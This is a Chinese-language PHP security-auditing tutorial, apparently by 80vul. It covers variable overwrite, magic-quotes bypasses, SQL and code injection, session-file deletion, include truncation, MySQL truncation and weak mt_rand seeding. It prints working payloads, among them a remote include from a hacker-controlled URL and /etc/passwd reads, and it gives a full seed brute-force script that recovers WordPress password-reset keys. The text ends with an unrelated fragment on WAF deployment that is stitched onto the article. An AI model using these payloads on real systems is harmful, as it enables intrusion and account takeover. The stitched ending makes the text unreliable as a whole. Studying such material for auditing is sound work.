http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

• 高级PHP应用程序漏洞审核技术
  • 前言
  • 传统的代码审计技术
  • PHP版本与应用代码审计
  • 其他的因素与应用代码审计
  • 扩展我们的字典
    • 变量本身的key
    • 变量覆盖
      • 遍历初始化变量
      • parse_str()变量覆盖漏洞
      • import_request_variables()变量覆盖漏洞
      • PHP5 Globals
    • magic_quotes_gpc与代码安全
      • 什么是magic_quotes_gpc
      • 哪些地方没有魔术引号的保护
      • 变量的编码与解码
      • 二次攻击
      • 魔术引号带来的新的安全问题
      • 变量key与魔术引号
    • 代码注射
      • PHP中可能导致代码注射的函数
      • 变量函数与双引号
    • PHP自身函数漏洞及缺陷
      • PHP函数的溢出漏洞
      • PHP函数的其他漏洞
      • session_destroy()删除文件漏洞
      • 随机函数
    • 特殊字符
      • 截断
        • include截断
        • 数据截断
        • 文件操作里的特殊字符
  • 怎么进一步寻找新的字典
  • DEMO
  • 后话
  • 附录

前言传统的代码审计技术PHP版本与应用代码审计其他的因素与应用代码审计扩展我们的字典变量本身的key变量覆盖遍历初始化变量parse_str()变量覆盖漏洞import_request_variables()变量覆盖漏洞PHP5 Globalsmagic_quotes_gpc与代码安全什么是magic_quotes_gpc哪些地方没有魔术引号的保护变量的编码与解码二次攻击魔术引号带来的新的安全问题变量key与魔术引号代码注射PHP中可能导致代码注射的函数变量函数与双引号PHP自身函数漏洞及缺陷PHP函数的溢出漏洞PHP函数的其他漏洞session_destroy()删除文件漏洞随机函数特殊字符截断include截断数据截断文件操作里的特殊字符怎么进一步寻找新的字典DEMO后话附录http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114

PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在这里需要感谢他们 ：）

WEB应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递，最终传递给目标函数执行，还记得MS那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE]，但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致安全漏洞的危险函数，常用的如grep，findstr等搜索工具，很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。

其他的方法有：通过修改PHP源代码来分析变量流程，或者hook危险的函数来实现对应用程序代码的审核，但是这些也依靠了我们上面提到的字典。

到目前为止，PHP主要有3个版本：php4、php5、php6，使用比例大致如下：

由于php缺少自动升级的机制，导致目前PHP版本并存，也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象，也是我们字典重要来源。

很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素有关系，比如上面我们谈到的PHP版本的问题，比较重要的还有操作系统类型（主要是两大阵营win/*nix），WEB服务端软件（主要是iis/apache两大类型）等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性，下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时，应该了解他们使用的系统，WEB服务端软件，PHP版本等信息。

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php 
//key.php?aaaa'aaa=1&bb'b=2  
//print_R($_GET);  
 foreach ($_GET AS $key => $value) 
{ 
        print $key."\n"; 
} 
?>

上面的代码就提取了变量本身的key显示出来，单纯对于上面的代码，如果我们提交URL：

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个xss的漏洞，扩展一下如果这个key提交给include()等函数或者sql查询呢？：）

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：

请看如下代码：

<?php 
//var.php?a=fuck 
$a='hi'; 
foreach($_GET as $key => $value) { 
        $$key = $value; 
} 
print $a; 
?>

很多的WEB应用都使用上面的方式（注意循环不一定是foreach），如Discuz!4.1的WAP部分的代码：

$chs = ''; 
if($_POST && $charset != 'utf-8') { 
        $chs = new Chinese('UTF-8', $charset); 
        foreach($_POST as $key => $value) { 
                $$key = $chs->Convert($value); 
        } 
        unset($chs);

//var.php?var=new 
$var = 'init';                      
parse_str($_SERVER['QUERY_STRING']);  
print $var;

该函数一样可以覆盖数组变量，上面的代码是通过$_SERVER’QUERY_STRING’来提取变量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：

//var.php?var=1&a[1]=var1%3d222 
$var1 = 'init'; 
parse_str($a[$_GET['var']]); 
print $var1;

上面的代码通过提交$var来实现对$var1的覆盖。

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 
echo 'GLOBALS '.(int)ini_get("register_globals")."n"; 
import_request_variables('GPC'); 
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); 
echo 'Hello admin!';

从严格意义上来说这个不可以算是PHP的漏洞，只能算是一个特性，测试代码：

<? 
// register_globals =ON 
//foo.php?GLOBALS[foobar]=HELLO 
php echo $foobar;  
?>

但是很多的程序没有考虑到这点，请看如下代码：

//为了安全取消全局变量 
//var.php?GLOBALS[a]=aaaa&b=111 
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); 
print $a; 
print $_GET[b];

如果熟悉WEB2.0的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行crsf攻击。

当打开时，所有的 ‘（单引号），”（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、mysql_real_escape_string()等，另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是就在他们放弃的同时也放过很多致命的安全漏洞。 ：）

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是其他的变量呢？

2) getenv()得到的变量（使用类似$_SERVER变量）

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：

if ( !isset( $HTTP_RAW_POST_DATA ) ) { 
        $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); 
} 
if ( isset($HTTP_RAW_POST_DATA) ) 
        $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

4) 数据库操作容易忘记’的地方如：in()/limit/order by/group by

如Discuz!<5.0的pm.php：

if(is_array($msgtobuddys)) { 
        $msgto = array_merge($msgtobuddys, array($msgtoid)); 
                ...... 
foreach($msgto as $uid) { 
        $uids .= $comma.$uid; 
        $comma = ','; 
} 
...... 
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m 
        LEFT JOIN {$tablepre}memberfields mf USING(uid) 
        WHERE m.uid IN ($uids)");

一个WEB程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有：

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数：

另外一个 unserialize/serialize

3) 字符集函数（GKB,UTF7/8…）如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的urldecode：

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

当magic_quotes_gpc=on时，我们提交?id=%2527，得到sql语句为：

SELECT * FROM article WHERE articleid='''

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号：

• mysql/oracle转义符号同样是\（我们提交’通过魔术引号变化为\’，当我们update进入数据库时，通过转义变为’）
• mssql的转义字符为’（所以我们提交’通过魔术引号变化为\’，mssql会把它当为一个字符串直接处理，所以魔术引号对于mssql的注射没有任何意义）

从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击我们可以实现一个webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul？

首先我们看下魔术引号的处理机制：

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”，“\”符号不仅仅是转义符号，在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞：

1)得到原字符（’,\,”,null]）

$order_sn=substr($_GET['order_sn'], 1); 

//提交                 ' 
//魔术引号处理         \' 
//substr               ' 

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". 
   " shipping_time, shipping_id, invoice_no, user_id ". 
   " FROM " . $ecs->table('order_info'). 
   " WHERE order_sn = '$order_sn' LIMIT 1";

2)得到“\”字符

$order_sn=substr($_GET['order_sn'], 0,1); 

//提交                 ' 
//魔术引号处理         \' 
//substr               \     

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". 
   " shipping_time, shipping_id, invoice_no, user_id ". 
   " FROM " . $ecs->table('order_info'). 
   " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交内容：

?order_sn='&order_tn=%20and%201=1/*

执行的SQL语句为：

SELECT order_id, order_status, shipping_status, pay_status, shipping_time,  
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and  
order_tn=' and 1=1/*'

我们最在这一节的开头就提到了变量key，PHP的魔术引号对它有什么影响呢？

<?php 
//key.php?aaaa'aaa=1&bb'b=2  
//print_R($_GET);  
 foreach ($_GET AS $key => $value) 
        { 
        print $key."\n"; 
        } 
?>

1)当magic_quotes_gpc = On时，在php5.24下测试显示：

aaaa\'aaa 
bb\'b

从上面结果可以看出来，在设置了magic_quotes_gpc = On下，变量key受魔术引号影响。但是在php4和php<5.2.1的版本中，不处理数组第一维变量的key，测试代码如下：

<?php 
//key.php?aaaa'aaa[bb']=1  
print_R($_GET);  
?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

数组第一维变量的key不受魔术引号的影响。

2)当magic_quotes_gpc = Off时，在php5.24下测试显示：

aaaa'aaa 
bb'b

对于magic_quotes_gpc = Off时所有的变量都是不安全的，考虑到这个，很多程序都通过addslashes等函数来实现魔术引号对变量的过滤，示例代码如下：

<?php  
//keyvul.php?aaa'aa=1' 
//magic_quotes_gpc = Off 
 if (!get_magic_quotes_gpc()) 
{ 
 $_GET  = addslashes_array($_GET); 
} 

function addslashes_array($value) 
{ 
        return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); 
} 
print_R($_GET); 
foreach ($_GET AS $key => $value) 
{ 
        print $key; 
} 
?>

以上的代码看上去很完美，但是他这个代码里addslashes($value)只处理了变量的具体的值，但是没有处理变量本身的key，上面的代码显示结果如下：

Array 
( 
    [aaa'aa] => 1\' 
) 
aaa'aa

很多人都知道eval、preg_replace+/e可以执行代码，但是不知道php还有很多的函数可以执行代码如：

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码：

<?php 
//how to exp this code 
$sort_by=$_GET['sort_by']; 
$sorter='strnatcasecmp'; 
$databases=array('test','test'); 
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); 
              '; 
usort($databases, create_function('$a, $b', $sort_function));

对于单引号和双引号的区别，很多程序员深有体会，示例代码：

echo "$a\n"; 
echo '$a\n';

我们再看如下代码：

//how to exp this code 
if($globals['bbc_email']){ 

$text = preg_replace( 
                array("/\[email=(.*?)\](.*?)\[\/email\]/ies", 
                                "/\[email\](.*?)\[\/email\]/ies"), 
                array('check_email("$1", "$2")', 
                                'check_email("$1", "$1")'), $text);

另外很多的应用程序都把变量用”"存放在缓存文件或者config或者data文件里，这样很容易被人注射变量函数。

大家还记得Stefan Esser大牛的Month of PHP Bugs（MOPB见附录2）项目么，其中比较有名的要算是unserialize()，代码如下：

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

Stefan Esser大牛发现的漏洞：unset()–Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码：

unset($uids); 
...... 
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); 
while($member=$db->fetch_array($query)){ 
        $uids .= $member['uid'].','; 
} 
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; 
........ 
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");

测试PHP版本：5.1.2 这个漏洞是几年前朋友saiy发现的，session_destroy()函数的功能是删除session文件，很多web应用程序的logout的功能都直接调用这个函数删除session，但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下：

<?php  
//val.php    
session_save_path('./'); 
session_start(); 
if($_GET['del']) { 
        session_unset(); 
        session_destroy(); 
}else{ 
        $_SESSION['hei']=1; 
        echo(session_id()); 
        print_r($_SESSION); 
} 
?>

当我们提交构造cookie:PHPSESSID=/../1.php，相当于unlink(‘sess_/../1.php’)这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin，sablog，phpwind3等等。

1) rand() VS mt_rand()

<?php 
//on windows 
print mt_getrandmax(); //2147483647 
print getrandmax();// 32767 
?>

可以看出rand()最大的随机数是32767，这个很容易被我们暴力破解。

<?php 
$a= md5(rand()); 
for($i=0;$i<=32767;$i++){ 
  if(md5($i) ==$a ) { 
   print $i."-->ok!!<br>";exit; 
   }else { print $i."<br>";} 
} 
?>

当我们的程序使用rand处理session时，攻击者很容易暴力破解出你的session，但是对于mt_rand是很难单纯的暴力的。

2) mt_srand()/srand()-weak seeding（by Stefan Esser）

看php手册里的描述：

mt_srand 
(PHP 3 >= 3.0.6, PHP 4, PHP 5) 

mt_srand -- 播下一个更好的随机数发生器种子 
说明 
void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空时，会被设为随时数。

例子 1. mt_srand() 范例

<?php 
// seed with microseconds 
function make_seed() 
{ 
    list($usec, $sec) = explode(' ', microtime()); 
    return (float) $sec + ((float) $usec * 100000); 
} 
mt_srand(make_seed()); 
$randval = mt_rand(); 
?>

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

php从4.2.0开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的：

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下：

<?php 
///////////////// 
//>php rand.php 
//828682 
//828682 
//////////////// 
ini_set("max_execution_time",0); 
$time=(double) microtime()* 1000000; 
print $time."\n"; 
mt_srand ($time); 

$search_id = mt_rand(); 
$seed = search_seed($search_id); 
print $seed; 
function search_seed($rand_num) { 
$max = 1000000; 
for($seed=0;$seed<=$max;$seed++){ 
        mt_srand($seed); 
        $key = mt_rand(); 
        if($key==$rand_num) return $seed; 
} 
return false; 
} 
?>

从上面的代码实现了对seed的破解，另外根据Stefan Esser的分析seed还根据进程变化而变化，换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图：

对于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是说当seed-A等于seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的（很多的安全人员错误的以为这样就是安全的），这个要分两种情况来分析：

第一种：’Cross Application Attacks’，这个思路在Stefan Esser文章里有提到，主要是利用其他程序定义的播种（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree组合就存在这样的危险.

第二种：5.2.6>php>4.2.0默认播种的算法也不是很强悍，这是Stefan Esser的文章里的描述：

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32，这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug：奇数和偶数的播种是一样的（详见附录3）,测试代码如下：

<?php 
mt_srand(4);  
$a = mt_rand();  
mt_srand(5);  
$b = mt_rand(); 
print $a."\n".$b; 
?>

通过上面的代码发现$a==$b，所以我们循环的次数为2^32/2=231次。我们看如下代码：

<?php 
//base on http://www.milw0rm.com/exploits/6421  
//test on php 5.2.0 

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 

$key = wp_generate_password(20, false); 
echo $key."\n"; 
$seed = getseed($key); 
print $seed."\n";  

mt_srand($seed); 
$pass = wp_generate_password(20, false); 
echo $pass."\n";         

function wp_generate_password($length = 12, $special_chars = true) { 
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
        if ( $special_chars ) 
                $chars .= '!@#$%^&*()'; 

        $password = ''; 
        for ( $i = 0; $i < $length; $i++ ) 
                $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); 
        return $password; 
}  

function getseed($resetkey) { 
        $max = pow(2,(32-BUGGY)); 
        for($x=0;$x<=$max;$x++) { 
                $seed = BUGGY ? ($x << 1) + 1 : $x;  
                mt_srand($seed); 
                $testkey = wp_generate_password(20,false); 
                if($testkey==$resetkey) { echo "o\n"; return $seed; } 

                if(!($x % 10000)) echo $x / 10000; 
        } 
        echo "\n"; 
        return false; 
} 
?>

运行结果如下：

php5>php rand.php 
M8pzpjwCrvVt3oobAaOr 
0123456789101112131415161718192021222324252627282930313233343536373839404142434 
445464748495051525354555657585960616263646566676869 
7071727374757677787980818283848586878889909192939495969798991001011021031041051 
061071081091101111121131141151161171181191201211221 
2312412512612712812913013113213313413513613713813914014114214314414514614714814 
915015115215315415515615715815916016116216316416516 
6167168169170171172173174175176177178179180181182183184185186187188189190191192 
193194195196197198199200201202203204205206207208209 
2102112122132142152162172182192202212222232242252262272282292302312322332342352 
362372382392402412422432442452462472482492502512522 
..............01062110622106231062410625106261062710628106291063010631106321063 
3o 
70693 
pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如：

<?php 
mt_srand(42); 
echo mt_rand(); 
//php<=5.20 1387371436 
//php>5.20 1354439493            
?>

正是这个原因，也要求了我们的exp的运行环境：当目标>5.20时候，我们exp运行的环境也要是>5.20的版本，反过来也是一样。

从上面的测试及分析来看，php<5.26不管有没有定义播种，mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session，比如密码找回功能等等，这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。（在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞）

其实“特殊字符”也没有特定的标准定义，主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子：

其中最有名的数大家都熟悉的null字符截断。

<?php  
include $_GET['action'].".php";  
?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有其他的字符可以实现截断使用呢？肯定有人想到了远程包含的url里问号“?”的作用，通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”：），好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下：

<?php 
//////////////////// 
////var5.php代码: 
////include $_GET['action'].".php";  
////print strlen(realpath("./"))+strlen($_GET['action']);   
/////////////////// 
ini_set('max_execution_time', 0); 
$str=''; 
for($i=0;$i<50000;$i++) 
{ 
        $str=$str."/"; 

        $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str); 
        //1.txt里的代码为print 'hi'; 
        if (strpos($resp, 'hi') !== false){ 
                print $i; 
                exit; 
        } 
} 
?>

经过测试字符“.”、“ /”或者2个字符的组合，在一定的长度时将被截断，win系统和*nix的系统长度不一样，当win下strlen(realpath(“./”))+strlen($_GET['action'])的长度大于256时被截断，对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先发现]）

对于很多web应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据，然而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的（Stefan Esser是我的偶像:)），这个是由于mysql的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超长的值只会提示warning，而不是error（如果是error就插入不成功），这样可能会导致一些截断问题。测试如下：

mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); 

mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass"); 
Query OK, 1 row affected, 1 warning (0.01 sec) 

mysql> select * from truncated_test; 
+----+------------+----------+ 
| id | username   | password | 
+----+------------+----------+ 
| 1 | admin      | pass     | 
| 2 | admin      | new_pass | 
+----+------------+----------+ 
2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的，当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下：

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); 
Query OK, 1 row affected, 1 warning (0.00 sec) 

mysql> select * from truncated_test; 
+----+------------+----------+ 
| id | username   | password | 
+----+------------+----------+ 
| 1 | admin      | pass      | 
| 2 | admin      | new_pass  | 
| 3 | admin      | new_pass2 | 
+----+------------+----------+ 
2 rows in set (0.00 sec)

很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同数据，如下代码：

$result = mysql_query("SELECT * from test_user where user='$user' "); 
  .... 
if(@mysql_fetch_array($result, MYSQL_NUM)) { 
        die("already exist"); 
}

文件操作里有很多特殊的字符，发挥特别的作用，很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视，这个主要体现在上传文件或者写文件上，导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题：

//Is this code vul? 
if( eregi(".php",$url) ){ 
        die("ERR"); 
} 
$fileurl=str_replace($webdb[www_url],"",$url); 
..... 
header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空，那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢？有人给出了如下代码：

$fileurl=str_replace($webdb[www_url],"",$url); 
if( eregi(".php",$url) ){ 
        die("ERR"); 
}

str_replace提到前面了，很完美的解决了str_replace代码的安全问题，但是问题不是那么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：

<?php 
for($i=0;$i<255;$i++) { 
        $url = '1.ph'.chr($i); 
        $tmp = @file_get_contents($url); 
        if(!empty($tmp)) echo chr($i)."\r\n"; 
}   
?>

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一步找到新的字典或者利用方式呢？

• 分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典
• 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
• fuzz php的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
• 分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的基础上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会陆续公布一些我们对php源代码的分析）
• 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
• 你有什么要补充的吗？ ：）

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到：

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 
./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); 
./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; 
./include/global.func.php-696-} 
./include/global.func.php-697- 
./include/global.func.php-698-function random($length, $numeric = 0) { 
./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); 
./include/global.func.php-700-  if($numeric) { 
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); 
./include/global.func.php-702-  } else { 
./include/global.func.php-703-          $hash = ''; 
./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; 
-- 
./include/discuzcode.func.php-30- 
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { 
./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; 
./include/discuzcode.func.php-33-} 
./include/discuzcode.func.php-34- 
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); 
./include/discuzcode.func.php-36- 
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { 
./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; 
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid]; 
./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有两个文件用到了mt_srand()，第1是在./include/global.func.php的随机函数random()里：

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本，如果是PHP_VERSION > ’4.2.0′使用php本身默认的播种。从上一章里的分析我们可以看得出来，使用php本身默认的播种的分程序两种情况：

1) ‘Cross Application Attacks’ 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话，又很有可能被暴力。在dz这里不需要Cross Application，因为他本身有文件就定义了，就是上面的第2个文件：

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定dz是存在这个漏洞的，文章给出来的exp也就是基于这个的。（具体exp利用的流程有兴趣的可以自己分析下]）

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义，那么dz就不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不利用’Cross Application Attacks’，5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。

本文是80vul的三大马甲：80vul-A，80vul-B，80vul-C集体智慧的结晶，尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇幅就没有一一列举，有心的读者可以自行google。另外原本没有打算公布此文，因为里面包含了太多应用程序的0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你找到了某些应用程序的0day，请低调处理，或者直接提交给官方修补，谢谢大家！！

[1]

http://www.php-security.org/2010/05/11/mops-submission-05-the-minerva-php-fuzzer/index.html

素包子认为WAF的部署位置有3个：反向代理，WEB服务模块和开发过程。它们各有优劣，但并不绝对，安全团队的从属、能力、特长及企业类型有可能会把下文的优点变成缺点，反之亦然。

1、在所有的主机前端部署，工作形式为反向代理。如果没记错，绿盟的WAF是这么部署的，如果有误，还请斧正。

优点：

A:灵活,快速；

B:对现有业务影响较小；

C:策略调节方便，管理成本非常低

D:效果明显；

E:对资源要求较低，不需要动到代码，沟通成本较低，如果安全团队不是挂在开发下面，这是一个好路子。

缺点：

A:可能引入单点故障；

B:如果网站的PV非常猛，性能可能是个问题。

C:来自业务部门的压力可能会较大；由于影响面很大，阻力较大。

